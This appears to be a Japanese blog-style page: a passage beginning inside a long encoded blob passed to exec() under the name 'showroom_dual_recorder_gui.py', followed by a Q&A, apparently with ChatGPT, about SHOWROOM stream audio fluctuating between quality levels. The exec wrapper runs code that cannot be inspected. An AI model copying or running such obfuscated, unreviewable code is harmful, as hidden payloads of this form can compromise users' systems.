p59GfBV1x```ZO|FaA^|MI{7>0kf(|5zD<gusL(kI)^L^#w2?D>C-e@iia}rB<vM{#|8+y$vQbYED#ETu_i#b%Brre|&A*x7nBpOaxZ9?tGbowC_Qxq=IaI0jakx(m~RVQ)of{@CP=lVPF<6??bN#(`UL2$0!kiAR^rsys{DiN?pc`6<=Ni>zxkvj!*Xorygfeo%MVaGsJ!*cYcr#K@>;J^dl_YD3uvwd`tkO&YsDPQtXO7PgqV!@5l*|GDxUx$25s%x0GchRDzVrAXgKlX9f#a_sJQX{RmK@>1Pj^#`L$y^Bh>tK%zIY^;<WI$H${z0h~HGA|FPG|8ikrAIARpCNZVijyt2_ReDXnBOM1;U0B*fQR-dBkwj*M%h?Q*SBxYxs-PpYIF=JwvOyuEkg*SorW;0gK&`LzVZ-8g*RY5YTPgHyR#|pEYa^$=I+1y{Lq_n=&AXh#$sH4}uIDAO7cM7P6e&<jteA;DqRM&4e$(l&_ArNu4%wt2%Oi<yx@3xLR+}(gq)V)$V~?*dmLM0aDVo<6v|2bH2m1&8Y*L&bWy_?5D}*p;oB=8*$bJ`mEnpn9jr!p`P|oQ%>D?~AX-A7?VzsMFysap~QZC<#fnR_SV{*f?3KDzF1a^jwV~{#X3XKGAkPJbfoGllqlhBDhRwO6M8ymmN(v;zrTw0bcl1($aBWKhcA0<;X^hYKnGz<lswPBFvz`#SM)QI9Bak`Z?IOnLCmB^uDR|iFfv+F3;n{v;=5v=y_fqw@3jC=AW2dAPkGsf4;@WvZQU^xL&op*(71!4J<v7-ENqYzc;Ob3E;LUPlpg^0}#dh236Tu#MLHwpei+3J#sCw-CfM+lrvR$0YI;rsn^ItA)Edg;*vpCCx)b5N$=GC^(oqe8j859dceV$bj2b~+uIhnxhqZ^rbQ)W(c}5eokKmbW4VE2eza;{a8bMmUfT;tcdiwo>d}`|%!3Lfds+4k1~NSYPa*jZg#-M`wB|s>Jvt@yRl|-ox>;M``5S&`@5bYK#GsovIaDA6aG#+sb;&U~4RhnnYWfC0SjWgySow4k~Agh{4t>)q&#^qas?lp64n6GOCGx-$}6?JDDtC_3bK=F43`wRB3Xil*<DnQp&m33PK-rqFZX2Ti~=}L$QY=(XAXJpj4-#QJilHIwGV_@(gV#;?YIec7+_PB^VpCOx}n!bmeFR%w$qwTyxC|>8WD77<<=I1e~Kv17iV2rPcEbyZ{N%?TgD?dAW;yM#|8i(~^pJ4CZYH;R1_XDmDe?>T-&?6UZk3xuBDiJpzUa4JQeQqp5cB5*0(7{eFCvsInqiE@+;SFM)bDTv)ZQ?escG3KD|<%}{U`ag;`=ze7I|jXZ(Z<4UCq>hOuoIG);B{Why4+ED2L;IcwOOC*e#wgm%yLMe#1Fr>mn$TMN)-vp_#$jU*!Q`rTb0cYOXQUB!Z!*PXqP?-ITaZ)qpOqpQ~^TiHIOVKTI{pBQxPAO_8iChh{^zX%rlBLd2=}CuL+5&WKnkI))lB&tS25Cy;kIC6`UQXUq7hgraS}^?zurz5B(njzZrhH)l&XCT%d^zNvzsx+06+V~D9J`!HxD*=!I+Lw9U0A3^L*@<8lV>tISV&P2@u<5DvwA#B)8&Xx&wS;{TNbuu%$GsXgeVA5(O9^gk7x|iRG~h=D3q;)$QG{DpDzl~lu`TWr`PV>zqe&tTdn6*g4PCE1Fq&UT$O}MaGVPYkW?}fjei(iQRhpt16qsQd1olSS6J_LRU-dYZLw$bN;coWMTw|_2V)X+Xj{c^TP=Y4a!1n}vKiRc*rTlsbDQJ?q7bmH;?dU7$d!rKgiZ<AmmY{&5D#15p;6gYO<U>P<yI&xdGQoKZR?8<-7h|Nzc{lT0VeUoAO)?|L;ouZJ{!GFU4#f)kALq$YL^6T^1kipjbTZqG^1{3$JWI!zifBE{Npdyx8MEs@++%NED!!*DaTm;mxL7}vJm1Kz}hTVpfE~VMmHNz0l`A&q@{KkGcLLU-%HUq<}~+IH)-BEy(hQ+Y>5j9W}C2J`8gV~59%5D2@?mX9N5<R>ESlOCqY8!e33r5NMHegRpzQ@au=l6HuKDOx3^&mfFv|$CoDg2lJy1E0Chvag%9?_W<VUJbb5`_pH*`4OZ3VDpsHNN&S7>}n_T7o9fZ(AFv&Nupu?`EHprKgiv^SJ3%<XE%`Rp^%9_RI7ME({yb^9Mv0oP*Safl4EtUoYX|r^PeAgqpI)+H=o~X8y1Erv_RTu2!1$i?3)ka$(3S_OL2~5k`L{JduOjJhW8x;j230{S4&KoZP=p92Pz&%2hpV@dyHU{Iu8-c9wu4f50U~4XWZx$rL({ktK0ykzZ8GFlZnF}a?$$JA3aFi$;C5od|hJ_@cxXRiV%5NAs92Ka^$3<j8Y0J5kJPx@zxe!-q1y>zNZ(|R8Gk-ps_~f3+68oOR`12B&Dt+MdpyQM%h4Kx7DJ?pgcabCRv1J|lVIzi~KbxUQ!JpT`)wTRRi|*9PRMUBV&`p$3+bz;VuU+T~Ep<a=;@*-N>uW#pvh7Uf8*Dh%qbQnbOMo9f*yT~=u*(BkM-sVIcqo@VsN*s1#D;vaPNduk3Kr8W@?i}F6yks;Y^*tUSb?Jl7DVdN`*AmC&usJUQf#zkW9-B72jUd*iv944+5$59itH%Fj_IFs$tbo(-BbQAqS+?b)CUVW={;KK35~b<S2RqmE;;Y7a;D2R8FPySq-X&ud`1h9Oz@rcyC?p2aC;L>$VDX^V5W;Zz>2^TJCN$;ulr#*JYiA>AtJFffRcpJXZYJHv=cuFCl%zm=m$mWJ-+U|YLnNUxA^B9__O;4|G=*|oeuul#Xqm`&+Aoj3ZRI~0V~7uT`wEza*t77YN<>i;Xde&`|1rScD4kB!&#z;t&s#|DWgc62$wtiayBIpbf*dS%pbcs_PGBZr+NFJ4j}O|p5}{)%r4C<R6jPERz<bXFhfgBnt|zwe;s#1kxf7nV62NJ93Dx}is@qJk7=eWdR(EJ1Nt=fZv8m$Loma{w}Q8(WMPQF1&ao_2v8%&#pqJ1T^vN$TnJYxzQVwa!=MRo1aj*xn1H^LOAjbtk{htDdThrg2!&3EY6zx))tHaA*wm4wt8@X((^*7rw5lZqgj|h#G5FJP>rY#J-(>6H=zX`iK+J_UO#K+_*4X;Kf3*MUV1M|bXa6$!%CXuEsH4>>kpf`gk~(*<;%K?BffW&(In#wm=Lu*Ru{6~xW1+CRUR@5di_VmAV%w#<?UGXaYZQbEUkN%m>nV}XG^t1N#w7;}2cO3*dlun=E1WHVcpFSU&aJF$u3rfQr7)#c@C_!URH{rIBsn^#vFsu?Yo4Hm<}-UtGjPOAH0Zpi7;!e2TJOjH*>G^`eL5I^I6fbGKlM)!`bR@W%k|n!0mR0H5-5QeHNkt($V)n(tlKUUG0$j5Kmo7Z`GPcKoFKx~5+f&Q;*1YFlUF$GZOI>~fbqYA6#%3ZY*;WCW-!;VQ<G)P;>;jp*X8pR7@8^IGGvISjpK&}k7~$Me``W+*gySYFx)>s?GF!*k4l2Bq*|Hjz({HHHn`o`1sS;GfQcv3)<u9hdP@@$82|RvUi~=uxzv>xxedHbz<!xMNYR&%6pjwMu5myY5nIqkOSCEJf~Q|C{dnRQ6%*^@04CLbuRl23+Sz@}<~l=dxj>h>!MaeHgN3s_wWoul{lkN^VX?D0Lp~Au+O-5{iCh_stAIX#`8uG^Zv@aT@={x3-p)w`)1Gf%oQYVt{vz0$1u*M5icBVWK^UZ-XD4(vEv^ATg&mlw`ci<im&pZv;lui_sE&Rm{!7o6whR}NIb7j666=*e@i4AbU?imyYZ9$LWu7-RtSXHw4J+NkdOj<wQXDk4wp7~Im|O~vAOT$%!bxH)7T9{d*C=c@Fx1xAB25jpCT3a#Q%xP-3UZZfwzB0@ZMHp&>DGW`x(T<wS7lpnlU}Ve=}cywoW9H>$YXcK{8fE~RTDWAY|t@902HE!al2~{tECnbtVz&6FQb%d`KUo>$Z3uq4ZmQLYq?B+VQwbX7yW>fiS$Z1YB9(fhQXvK{w=%txC+jJa-US$3B`Sc7ne>Z#y`vw8CFy&z-Q4_H;Y-n5DFU(-Q{NscK{99@b{TyzE%ul6g+xM84B5%0e65YcA+fKR-}Gje#m~6gg>hmu`?VVbN=UbG49`7Uih9_xKOcA$#RwoKF53vf-skv(9{o1Fg!kaP%d!C=M8Qa7s^bcyAXMVPBML+l~Pz5!+H473w(tRuk{u?*(O}+=rWaE>ehzA25F;^S)Km;SWKSh2IzkdZfQ|dGnr9%HYN)^^JiH9fyB!&#BsBn%CQ1Wm9MHH62GdL${o+B9~T*^G>)g|M@KN1|DHpcc}8#<#4Y!c#pFF3EAG;;?nahr252*dbH3dw+Z#P0vzB37%f)Dvo{jCc9X$tkMSHl7uq6k~(hE#{I*-C0s>peUah8gJGfl%=O5F~3U_C@2Ul`1+sImj_W7*|m9?rq(sa07lAI_s=4-ESgu<cL!!w*)gtWUMFG-Vir3CPTZX2vf3R2VFbypZ0(Sc3sDVMFb9bj@`Zv5+seEVI38r?tj2U!;Z0RK<*nOuv{K6hj`RjkCBoEnosOw9R^iQESZ@mbnp_7R-N2Pf&%&sS;3eHn(d_nsnm&8q!yyE=SchoK`iCTyaosFO%7&xTSPYi;-g0?cr9OgxOtBy%P7IADx|_oE)DH2m9XOXz%pr6Z{2Y*lG+cpCg%jfCyV1=5k8MfSR?A_}cs_{-?~RFuKzuV(~w=1<J>OZQF_As3(n-AdPu`y&hfUi2z4j9E^06Yk$WUsJSqFYs@Y8n%+->E3_w__5EONLDvgHXl*}AK8TGcyV_qFgk9Ww5xq8>t!?8ptnYKt*Hvjg8Clq{Dr4Bx+RBn+4E4eIdb_^$>KS=9_~GN=Xz0Bk4EH{;z*=i#XxWrx8|?RErx64(4I4AcI$q>!iQt82VnCg%U4JsMIm@q|85lUD*LKKv<aG!BTaVid@*{dF=b+KV4}`@@3Ww$_!o%Y<N$_m6yB1IZ|Dwie6ln|hE)G&^XS7^femcW2VW%l2QK+tE`)UofVO6sNTv?GzdR6hM6ah1T!K1*K_2}-lS>>%<gQ~8pDp^peZk;U<>^riCZ)%mhavzEzT5G@o(M7*o^~wQvRijZ>Tt<8AdQhP-3#a%K6a=Z~AzGiS6uck@C}P;rkc<`mIL6x^m>-vGv~3p18lXKHq+}8#V;+1?C)JY``Z}9=XqzP0(M&Sd&Kq=u<Z2!HlDu|1wW?WR%+N2VgMJGA&xZZOLl5kcqroRntQJogjH#s)j}h%r$GGe6OjpV0jT3VwB0wY~+rP#+`dXvpHraLGIBneVt5dCY6%7O5?F_nO#$aRh;7Mvhy*lvqQ$`t2=i@Z<O7`jVE&OX1d?Uee2zT5!ZNlBd72Pg}E!B^}=a}Zkt`@oS1^FQcZF;(#5q64d^gxygjklABB&Bn=<V+~wqPTrZp^()Jqj8BaclG#3tJQGYO7OkM%9d9;F!SPKMg)&ESIHE!PzNz0MM#c{rMe%Zg}!r$^Hp~+SGkiF?$bRdy8qF@Ov1CoHcJbU5nNp8Ysn$Si+qI3EMkYFL^v&;@*7{%@eOEqS)af>6kbWzvqG$Cal2w8C#kYe!a#V;Jj_}#L@z&=KUN95HT6Pcm2AHOZyid<HCqnafaWe0w(YU-uW0U$*7MZuptcrK584achsaaQe(b!}jDxzxErYyJ&4!2q$WIe*oZQxJ4it;CyL@i_S%Kq0kzfU@*j^(JMyaUZhN3dOzNe8+FDNJ{!v5jclbq?=7EJ!pXcI`MAgiw?m<p@(%k=v<BD%;fmvNqF7w9?mZumhakDYDuMvKHygySFM<v<l1HXH4{tlwVIZaq_WSXhIg5nE2vErimpf!Gh=k@U)zfVvIP(D~0~b|KUx8$dSla@5w6XS0RD(F8mfl7Bn#p6zj%dx5Y_H)l0boRoU%Wg-o>ITisPQesw$a-kR=2UWggfid1g6)filz%cpksde#~oyS{U$_wh2VRmOkmpqoySXuR|9IoKgMQPr$xm1<T94N8EMj&)t+`s?CGA=8i1#~va?^==nS=m9+!j6}vO5b9hkh<k6ckIwiF`W-)2?(VzKgVCp;c_PCM=H&kAcTq;6FN(M?o={o2}7{l8Fn_)n?)ev(g?VrwgiJ!EWuB4dh-%+wpWGXq>K{shmv|(7_dx~=I$Mn5Y9L1U>f>t1>r{pyF&G2GcpL%2H~1Q5M&^n@^yIe)fOgPZWyB}Aa_dW^2M)=FiUTavI6G$k#-AcvkB;Bqoi;2$vIHa_2jrN6GKKm6J$(Er?7LaPKeqvz!$6m#vFw`?0kMyfY7E%uHtpvLb>vcsQ_4>I28r6`BT#>pE0K185SMxWds9m?9Y@5)h^AVk_D{DSh@91gz>~=vT-}U!UGXAzwcwIs3LW{H7B`$-uhy`^~HqbN4m?~xVoI~mKAA36)C>Enl^2OEd+Wu<7-1HA>O-!!A%Y3qQ0weyP>2m`nx*kSC+@spqtMCLpgPE=&DnpvaDP!fFrF(eP+0?rYjb-q9wCi1bF<4Wh8oOndus4(z=>_`RN*_mZ4_8EU{kXvn=aDmb3=@d>!kSqcSkvNJqBBb;ZopORP$wQO-KPLxh4A{_hxyRcs0=%Vx>Ji2+8Ld^AL(mR45O^Rn-{IF(F;Gsmi6D3jANZ_sNNWTov>VRGWEMOV`NW)j3U|44X%5-e>PO&{G943$hSQabT?AUE47N{#Rtki=#|nWlXFWa7$WSDt-qieyj}SrZ6OA>U%LB<wcs9uFPZN`fm$4e1@82IyIqQvq7Y=^oK_U|TkfAy=UHB7-J9RS|ZKq18EI%x>;7oAS~X8+x_uT5DchaQott@H?*e&VG{Sg-*hiRoE*){Ui$cC0VwYM9X+A@6z%{U%#%3JIf7iT(J0U*e;Y8@$*^zau+!Ni(Or)Ucg7hRu^wuHicN{QD1stn}vBT?o3B`VY2gk5bs=Rz_~Mj8IG^b;a50ZGnyoYNWM~(;Dxod<uB6+vDjKfvtazt3!^P`vu|PW$}*-~c!D8_>BPD$11i%ABLaB5n84b_y(y7uM)o$Kcew8L9xZnG5hUr(?%NJtctDXb@coawot3#8h^pt~@r>SizX^iqlEaC_F=E(Zl5H-D(F)uvnvCOMk=o_k(JCs^`$d#cZxpbjowlW100>iF@@`dSRPjMtgIq0LmYQ8~yRs^3UqxwTmz|PrcFn8DZr$%$lW0EXH!%zEe;(iS3Ii<4uqy+JSfdQ~G>Sb0$E*gxKBVbg6yF5Ej0*fWM)2zm72_$mhBUMAMT444wAT&9W_8#3Qy3F6Kc34Sd3Z6se)Fp9T88~mRv7d|b|adGppja2cQ>2o6U;&NE?}5@j2qfQm*;m&;tYkvRg?K9++yg8voq}Z*@)=Iaw?+rj6O0XVgUr(z~m<?to$arQ+}JO<*bFBdC}Oxs>yP`Nb)9dy-x5=1wR=FL667P8$s5Z$|ke9$Bh#jPONraOapYhSEfaE72cm-xr^p1H3X{RUjFXJ)W>%Y8o2`ti-S7`ZN4fxNG=<7Wvb#AGQ^FwDtc3RPlQffc1LROQD?Q6@|M(>jN4v<@CIPv%N4OIT0>hxZ1@(fh?QlSIR*vxJ{3%b52@&(RUpqQHeJl8(2~$!B-fGZmuH8eif&Y6CGXBJw%>etKp-V?Rd;QqdC&v&@H01dIHooNZIcP~peEi|>jMf9_}Q#*lMZhbr&5#<xgg*VyI5^G-7QWNreR<-MLV0+B51<EDb)u7SO7@JeN#atoDcJeZ85G3+Y6?7>2Hg?Sv>}|A);jt&zfk?-fM%LaZoXQ&WlFBJ_94FAO%xp(929Jvjnqp-^1goE-p!D+e$~=I!^cMf+H(AUJgL(^Wuqf?-#pdocZe|Qhe#ou9hsGPOkI_S3y#5rd$t9hPhXRV%J*M0TPZBiILdZ)&R*nG3&sTy<(NL%J0>z1DJccD)CY-<+L29X8dA$>lq2Aam^-FV<3&BGk|PFKLn@}u@=b!4Qo`W%xRh*ZdEC<RU(eF23Q_XZ0G&oDiFjW+v0xM+K6Ti;J0hzfr|+6aEwl8r=5%1ErTRz$h8c7P9_6KZ<U9shWHhs7Y0Ho0%koG_!_H+%$@96HKE;^CsoRxr!~?)-#@_H>G8PMn&wo#`<%x12ZzJH^%+s?CD5io$Era?B?Tv-t#;>2@)o&U<Hfou*w~!XO)9BL)%Q*qRca^eYvi2PtJ~A5T(){^Hg}Aq?A7e@R7k5{?RHP4Q0Qr2Ye-R=-@PVVJN4qD*JO{!xXkskUr#yrxv|c)xxTb<DEr1{LQ@N2y-go2h`6jqk1ErmGEJVRnioMT{phtj1*S-A6#2r3#L-Y(NMb)Pd)1;WtvG#z{{LvCzJ-9<<}Qcdt|}#W-^50+*l;(OW*npL-4?gt%Jo*wLbw%wRo*$X!>R;u8iZ&{0V8+Wg)K;vRdaiuSAQN`O1GCX$ZIY8ybJvOF<$M7K4lHq<H}%OH(8GwyY@D8>nY2RP;PU4%a&BdW{<uenZXpys5(fvK&@xxiWQ@(7n*)<hL%hI%yuY((G46km<_z7m7=t~mtGrkV-6tBKb|D87d8IZ)~3$aD#z=;&tagoQ?Ai;+hD3S<Oye^xLNVw(j#<F^@%f{ojn*xxG7sTW~nUXi-&gA#9+wHd=sAl6cGqg3qvgO5<;u>U-K87#m$BM^z|ttbatV?@t6jG&xqe7Uzv}UmAFH-j+!h_!0a#mncQjXFBX-zZp9Hg%+nipcvExkBjtxU(sG8I2I-92R(8=QHcVv8`b+C*kZ+0i#EU`w4AvEm=6E5VZGH2$bN}@>9d(vVPW0Gw-Cbg_f8GC%f7#&}3y@UOidQD#HZ4fjCmz07bIX@r_|}ib85tlfe`xQg@*PfC3ixOe#KnRv{FUjtIR5VVZelx*p*DJy#UT_!eQVe4ScY1e^fJ{sz>Vx;f4tE$m`%K8Q0xL;N0Oa6E9@TT!|G2ll4obP)0W2)V?PMJY%EQ6*vnvJ(1xu~AJO0+3<ut)gQNZ9PnLv&5e7K_)YA(Yq7_FN=01BxF@>(bkMRYatVML~OjzX7&aR`CXOAY~T}87VRQvvT_yGg67JfJpVOh!%vAZ1&I#zeIY#rF2SgQ{`^enwqMi?O+`Xf3+^Js@(YuvNc2VKavejv?qIAlCjj*t%r?}s|PL5MRehsSPu#%ID+mNh_Omt9G0m3}kS?|b%Jj=I{*-FhPIK7k0kk_g9aqmfLb83uQ4(Cyu-Zu2?#^q#A&ea{{g*AV`mX&o5tfT#ZFbA-YfczhjU08M54I#FNM6ZO>-i26$6c!FC~atn&scxG)A(!Q!9trSpg!s4EKZ;e#Ws0lN#APYum=<&_?UV*+D?q`@?qHQGVdF;`1I;nzNjZcAaN;Q7@Srs;5V;hly^`j1#XweuI(-@X%FVsLhFii2e0l>z3(doSDf3s)R48smI)+x;A*Y<daZ=i&$`{?<tA5r0UBb^9KvX`HyL{tEYldN#RKDduaq#Vhh!X!AOT#t*vAM~E?zr|@p@=%|EIy}@L;chSQrJ-towk`cxIGbupp+v)iS2GXiP#7pLpK8qH2xws3C}itJP*_<nro2s|%dE;0g_nfAPyP&8PNck+Nc)&x5?{EV2z7-ak0Q6MFkjRXyNYL$#yh(~tc_L#3Q6*|~Y^l%u8SC}r3EdMqoOtHZITYeg(ojff2aT0@-lbI|eqtI9hdb&b`9Wy=;dRB#1ls7iAw->b+XB9NU7aq#>dfdT?}u?d)P7%x%bmz2yLgc$5=ql`b==Qp{77H|C$T5BpMl!{s<^P1x@z!&$rt;&GMO|-_GhT2M6ML}`C8-tc6fsfew3C7%0eEs&pMzaW#A)%-mFt-a2pRZEM*$a8ar}>Itke#rUig|IJT6e%&vtsfSy;|~`%M=vR?%xSJMb!a$cdOo>5OoTV<8ZbfMfYxU9o<oWu$!Il#%JA5X4Fq8e>qQkmJn&Gs<H0+Q?}e(!a=Z&!zA%$0h1~`(}54HwZXZIMvkI-T1>4yKSVl?VWd(j?lh3<Y{`#eB0{MniWw*ZB8vK#PMVU(BLiUGl`TG}*lOl{UdI%g&N*KuDH&1X12Rc~@0Jt(_Ut;AXmnk&wrm<y63^t}Vv41C$H*`hH@(r=6W8;ZZZ;NktSwlyoehxjwqp=rTLRb<E<4sGNBPd<g6{e^l}~kJp>E#Ei;{}GVZNP5>kIeT{Vh8o<fOv=u*^KrB#iJGQqV-=IkNw$49eZc1sQ{LgCx6DocEVK{CFRvf2@A2vO)LDE9(S^7)KAqYab*>O1)AD`s`A6;6!;JyW~f4$k(L%EJ1OOA7C)YH`?4dgaj2UUXE|m@fW(pBXRmBrp2A7{48nVJTc3QZVVZjQ`KBgWEZQh^i$$NIJUJXAj&Rbe%eXtvcc=jb1wiAyK<X<GQo^zd%@<y$1G~3JX<HTCvuCAC5zE=8qTK^{zS3%AjP9>p|}9~ivSueJ;jq<RH8k`(A#Z_1G<L!73vGn&B@6_dL4!NH83{!6mLyqN}bX~XPnA|>}rl(e=+}J;(hVqi;wITZEeJI*Eu_c$FCPc<zgET*yatayqqqcTFZr6mTBg%zaM4I*yN|{5L|XIiA#z%<xGMEGfKe>HCL;7wTBde8?$qYz|^on!;+l%x4<fC1lmcFYQ|HG`57#a$;Z^c%I8kzb~nE=SyF3cfNkg5u7+2@R$iZ28*Ht-6ocWIi@;Uij*-mbJnPMmra^lI!Xmq%9`)ie@79X+PY$X!<|=k<^=SG`-B=&<-m0WfFcA?H3U&Afw#cr)3Pumv2G3VwG)$?s$gc{U#k_oUO0|{jiuPF*)U3qDtr>lGg5JsOm&yUp$FDllqw&CYC1r)I<|M8<pTl7ba`hg?kCjTH-lOud%DXP$R~+Q24mxAOE`0b<c~Ow8nNIm#HA;D>onzB_2FBH%?=DI#{_J>!R%7LX>IHW~Kc5^DOkR|h_}YwBNnKWH?Rkmn+y4cH+ZvZ6(AE<Uov??Wqzo)PQ6(Rc`kPBZAlIe-KGr7U&+y0sW2FB15QCceNy|@tJPJM7Tl4Nh{hJH*5;K1eXaQ!H$KFpBY2sD+<oV=_LNfNA7vZs2k9ZlqY^+|W0BXI*mtfSqL<&meS&-t(FnYPE%)rSb-++2D4;)2Iqr}I|__KQKX+GmXcHIu%ApP5C3np|bwG=c=6uZdWou{kFd9?hLW(%T^Uedo%551_EW@m!LsbuW@`p!(hF6h;dSsN=)cIXlRbUUvmD>tpU?K@^ZFXeGL8`z_lF-m?Ozt%!&ru5OVaE{2gezLAPPi9%L!qOM4pDTGZ7etnXTP3%iU3!+#_>U$%p=!b&CAQ9wempw<bY#_prFwX*+w|I*@z^GmXZI|ZjwZ9q_mQjWmF2o!ni?`Td+A5%_n8Pww?2c&*_)(eSGh{MDGpQAT=E$C!JiI>w$w5aq<V3*vvRB^k8?C)+5Gtg;8>1M9n<D?sC(tZOB=rPAr1|*_f1P&v*z&(1Cw!BjoGV_>@t`};$-h;#_JR3l7YpTWmiC_Xx()iJ`W_Pz~RA91Mm3#`@@5y!3K{LHI|D^U5cht_Hee<?D3-Y&u~5crKs`%G<qbefx@_6c`U3LXlt|6?QGp3Rzt}4W4RNn?N^Rmc-De(8a;_sCKOE7R~xd|)DqA6o*W+@vNJeF>>cYF_(FT`__b5D=8f5cVJq(kFg>SI%a(dYb|G9f3D$~}<S*joQo{{$t){%*povb+A>G(;fC?(**B|0~H28Qj{MkGx_2)zj@DUcSuP1|jeC6i-!C{4vVUYl__DBcdR<rm^B_0oYwVv0;Q>Q7u$tss)1;LeI@t#~c3BS}OS3);4<>Z9XbdsldD%J_-{xXfWV#@W^r&)T>rM?=p3FZgq&hmARrHytCDt7+<t_~``S@64$YV+-t|L|_AY{Qhl8=CKjVZWZ=QKi%EiM}e1qvEd0JMmc#s|?I%vBXg%clG|WIj*$5`QN1PN;#6%+<m2VOYvYq>b%m26~z;8&H18g@0b46kzK!QDKE<GO)Y!^H|cI~-`(A@@GQ*VLMiKxqxp8ctwaN~>w(Jn0a>A4uTzCl5C5$$rCcS~Q-+}K7C}k7UWuC3wRBfu?G=UjHNCy!4*0r?>b+jQo#IXS^@1k%IX=HgHM<@aa@Px0J0n1^6coVk|8uHD>hB)Bzn2Hk7@k&R;fl)*h96D`{e6=IPdQ%v84f%X3;yoI``w54+&(<BsQcZGSGNxQ?#cUi@#N_`OCfN#s1j(8#Jzq~<MC^{4itP{VjcKz#|KB=@ZjU%_<Z>J9<<U5QhW8?CLXlLvQszQN^fJR>4rBknz5Oglr>(+r#VNT)YOw)lX;BvGkPaY(x<V5vQ97M&Pz>=&8`(;4?=TQrgRAj-gmwAvL1GR?+6Eyf3M`-Dyp6&FRJ<N`A;SFf7>opZUiS?atKq@cuU8H{tg_An5uaeR7Uy9S3%)>3%{$L1LZL9fRk!~Do)<QYolvH^ZtPdN`dw53x<AMw0NnP#Ydmn5J{qx?=mx5icRXV<wTj=&2K|8a@Ttw??m1BS|GCkDIEjiVfp!~5z9~oqrjL~srM)kUA)Yqq+VXG$nlSboahFVw~f%U_bhaPs`sh{Gn1K+W39Vf$$Z{PbQCzlc*sdPA=|;H@aCh5->tlp1urPV9SJ<SU)+iixBIXgfCTsW3%uZ<aDx!q72@nWYaC(mtqlMk;Jre~{hr4}m*-)&=LyNh+im@S2R0<W')).decode("utf-8"),"showroom_dual_recorder_gui.py","exec"),globals(),globals())
・2026年2月にSRの配信仕様が変わってから配信音声が小刻みに高音質←→低音質みたいな感じでブレるので耳が気持ち悪くて聴いていられないぞ!?
いけっ ChatGPT!
100まんトークンだ!!
- OBSローカル録画は音声のブレなく気持ちよく聴ける
- PC配信はどのRoomも音声が小刻みにブレてて気持ち悪い
- スマホ配信は64kbpsなのでどのRoomもブレが目立たない模様(よく聴くと多少ブレてる)
- OBSで64kbps送出してもサーバ側で変換されるようで、視聴側ではブレた音声の256kbpsになる
今の材料なら、送信側ではなくSHOWROOM側の再符号化/受信側適応の問題が濃い。公式にある範囲と、同様報告の有無を詰める。
結論:ほぼSHOWROOM側のバグ。
あなたの条件だと、送信OBSより PC視聴側の共通経路 を疑う方が筋だ。SHOWROOMは2026年1月末から新配信基盤へ移行し、視聴は WebRTC系、使えぬ場合のみ HLSへ自動切替 になっている。
WebRTCで標準的に扱われる音声コーデック Opus は、ビットレートを動的変更 でき、RFCでも CBR希望時ですら平均ビットレートはネットワーク適応で変わりうる とされる。さらにOpusは fullband を wideband 的に扱う など帯域側の切替がありうるので、あなたの言う「高域が開いたり閉じたりする」聴こえ方は理屈に合う。
ゆえに、OBSを64kbps送出にしても根治しない のは不自然ではない。
> 視聴側はhls, WebRTCともに同様の音声ブレが生じる
> hlsの場合、opus→aacに変換している?
半分当たり、半分違う。
1. 聴感としては Opus っぽい。
WebRTC の主音声は Opus で、Opus は bitrate だけでなく audio bandwidth や frame size も動的変更できる。なので、あなたの言う「高域が開いたり閉じたりする」「高音質↔低音質に揺れる」という聞こえ方自体は、Opus 系の適応挙動として筋が通る。
2. だが、OBS→SHOWROOM の送信元を考えると、“最初から Opus” ではなさそう。
SHOWROOM は OBS 配信で RTMP サーバ URL を毎回確認するよう案内しており、OBS 側でも RTMP で使う FLV は H.264/AAC、AAC は default で、ほぼ全ての配信サービスで広く使われると明記している。つまり、少なくとも通常の OBS→SHOWROOM PC配信は、OBS から SHOWROOM へは AAC 系で入っていると見るのが自然だ。
3. だから「HLS は Opus→AAC に変換しているだけ」という仮説は、あり得るが最有力ではない。
内部実装は外から見えぬので断定不能。だが、HLS でも WebRTC でもほぼ同じ症状というあなたの観測からは、Opus 固有の問題が分岐後にだけ起きているというより、SHOWROOM 側の共通上流処理で既に帯域感が揺れており、それが WebRTC では Opus、HLS では AAC にそれぞれ載って出ていると見る方が筋がよい。
要するに、
- 症状の聞こえ方 は Opus 的
- だが 原因の場所 は Opus 専用箇所とは限らず、むしろ SHOWROOM 側の共通上流 が本命
ということだ。
なので今の表現としては、
「Opusっぽい症状ではある。だが HLS でも同じなので、原因を WebRTC/Opus 固有に限定するのは弱い。SHOWROOM 側の共通音声処理が最有力」
これが一番正確。
> Youtube・ニコニコ動画などの大手ではこのバグは起きない?
結論:起きない、とは言えぬ。だが SHOWROOM ほどは出にくい。
YouTube も配信を自動トランスコードして複数の出力形式を作るので、原理上は再符号化や適応配信まわりの音の違和感は起こりうる。だが YouTube 公式は、低遅延ほどプレイヤーの先読みバッファが薄くなり、問題を感じやすいとも明記している。つまり、超低遅延寄りの設計ほど同種の症状は表に出やすい。
ゆえに、YouTube の通常遅延や高遅延では、あなたが SHOWROOM で感じている「高音質↔低音質の開閉」がかなり出にくいと見るのが自然だ。YouTube は RTMP/HLS で受け、音声も AAC 系を前提にした運用が中心で、HLS 取り込みはセグメント型で低遅延より高遅延になる。つまり、大手でも原理上はありうるが、バッファを厚く取る設計の方が目立ちにくい。これは推論だが、公式仕様とは整合する。
ニコ生は断定材料が弱い。
今すぐ開ける一次資料を十分拾えなかった。ただ、現に流通している解説では 6Mbps/720p 前提、かつ放送ページは数秒程度の遅延が普通という扱いで、SHOWROOM 新基盤のような常時超低遅延前提とは色が違う。なので、少なくともSHOWROOM と同じ種類の症状が同じ強さで常態化しているとは見ていない。ここは 未確定。
実務上の答えだけ言えば、
YouTube:かなり出にくい。
ニコ生:未確定だが、SHOWROOMほどは出にくそう。
SHOWROOM:新基盤の超低遅延設計ゆえ、今の症状が顕在化しやすい。
> SRは原理をよく理解せず超低遅延に寄せることだけを考えてしまった?
結論:
「原理を全く理解していない」とまでは言えない。
だが、外から見る限りは、「超低遅延の便益を強く優先し、その副作用管理が甘かった」可能性が高い。
1. SHOWROOMは意図的に超低遅延を最優先した。
公式は、新基盤でWebRTC系へ移行し、超低遅延を標準化し、従来の切替トグルも廃止したと説明している。
さらに、低遅延であることを新機能にもつなげたい、と述べている。
つまり、低遅延を強く優先したのは事実である。
2. 低遅延化には元々トレードオフがある。
低遅延にするほど先読みバッファは減り、エンコーダや配信経路の問題が視聴者に出やすくなる。
つまり、低遅延化それ自体は正しい方向性だが、品質変動が表に出やすくなる設計でもある。
3. あなたの観測は「単なる端末側の気のせい」ではない。
あなたの条件では、
・OBSローカル録画は正常
・HLSでもWebRTCでも同症状
・複数のPC配信ルームで再現
となっている。
したがって、主因は個人のOBS設定やWebRTC単独ではなく、SHOWROOM新基盤の共通音声処理系を疑うのが自然である。
